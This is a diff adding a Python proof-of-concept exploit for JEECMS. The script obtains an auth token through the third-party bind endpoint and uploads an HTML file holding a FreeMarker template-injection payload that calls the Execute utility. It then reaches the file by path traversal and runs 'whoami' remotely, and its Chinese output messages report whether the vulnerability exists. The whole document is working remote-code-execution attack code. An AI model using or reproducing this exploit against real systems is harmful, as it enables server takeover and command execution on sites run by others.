|
| 1 | +#!/usr/bin/python |
| 2 | +# -*- coding:utf-8 -*- |
| 3 | +import requests |
| 4 | +import sys |
| 5 | +import json |
| 6 | +import os |
| 7 | +import time |
| 8 | +import string |
| 9 | +import argparse |
| 10 | +import readchar |
| 11 | +import random |
| 12 | +from requests_toolbelt.multipart.encoder import MultipartEncoder |
| 13 | + |
| 14 | +chars = string.ascii_letters |
| 15 | +def random_string_generator(str_size, allowed_chars): |
| 16 | + return ''.join(random.choice(allowed_chars) for x in range(str_size)) |
| 17 | + |
| 18 | +def getToken(url): |
| 19 | + temp = "/thirdParty/bind" |
| 20 | + target = url+temp |
| 21 | + #print("checking url:" + target) |
| 22 | + headers = {'Content-Type': 'application/json','User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0','Accept-Language':'en-US,en;q=0.5','Accept-Encoding':'gzip, deflate','X-Requested-With':'XMLHttpRequest','Content-Length':'79'} |
| 23 | + |
| 24 | + data = {"username":random_string_generator(5,chars),"loginWay": 1, "loginType": "QQ", "thirdId": "abcdefg"} |
| 25 | + |
| 26 | + response = requests.post(url=target,headers=headers,json=data,verify=False) |
| 27 | + if response.status_code ==200: |
| 28 | + # print("111111") |
| 29 | + null ="" |
| 30 | + text =response.text |
| 31 | + obj = json.dumps(text) |
| 32 | + t1 =json.loads(text) |
| 33 | + |
| 34 | + token = t1['data']['JEECMS-Auth-Token'] |
| 35 | + print("JEECMS-Auth-Token: "+token) |
| 36 | + return token |
| 37 | + else: |
| 38 | + print("get token error") |
| 39 | + |
| 40 | +def getPath(url,token): |
| 41 | + temp = "/member/upload/o_upload" |
| 42 | + target = url+temp |
| 43 | + shellCode = '''${site.getClass().getProtectionDomain().getClassLoader().loadClass("freemarker.template.ObjectWrapper").getField("DEFAULT_WRAPPER").get(null).newInstance(site.getClass().getProtectionDomain().getClassLoader().loadClass("freemarker.template.utility.Execute"), null)(cmd)}''' |
| 44 | + headers = {'Content-Type': 'multipart/form-data; boundary=-----------------------------1250178961143214655620108952','User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0','Accept-Language':'en-US,en;q=0.5','Accept-Encoding':'gzip, deflate','X-Requested-With':'XMLHttpRequest','Content-Length':'606','JEECMS-Auth-Token':token} |
| 45 | + |
| 46 | + multipart_encoder = MultipartEncoder( |
| 47 | + fields={ |
| 48 | + "uploadFile": ( |
| 49 | + "b.html", shellCode, 'text/html'), |
| 50 | + "typeStr": "File" |
| 51 | + }, |
| 52 | + boundary='-----------------------------1250178961143214655620108952' |
| 53 | + ) |
| 54 | + response = requests.post(url=target,headers=headers,data=multipart_encoder,verify=False) |
| 55 | + |
| 56 | + if response.status_code ==200: |
| 57 | + null ="" |
| 58 | + text =response.text |
| 59 | + obj = json.dumps(text) |
| 60 | + t1 =json.loads(text) |
| 61 | + path = t1['data']['fileUrl'] |
| 62 | + return path |
| 63 | + else: |
| 64 | + print("get path error") |
| 65 | + |
| 66 | +def verify(target_url): |
| 67 | + token = getToken(url=target_url) |
| 68 | + time.sleep(1) |
| 69 | + path = getPath(target_url,token) |
| 70 | + time.sleep(1) |
| 71 | + path = path.replace("/","-") |
| 72 | + temp ="/..-..-..-..-.." |
| 73 | + url = target_url+temp+path |
| 74 | + print("resultUrl: ",url) |
| 75 | + url = url.replace("html","htm") |
| 76 | + cmdurl = url+"?cmd=whoami" |
| 77 | + return requests.get(cmdurl,verify=False).text |
| 78 | + |
| 79 | + |
| 80 | +if __name__=="__main__": |
| 81 | + target = sys.argv[1] |
| 82 | + data = verify(target) |
| 83 | + if data: |
| 84 | + print("[+]漏洞存在,执行 whoami 的结果为:", data) |
| 85 | + else: |
| 86 | + print("[-]漏洞不存在") |
0 commit comments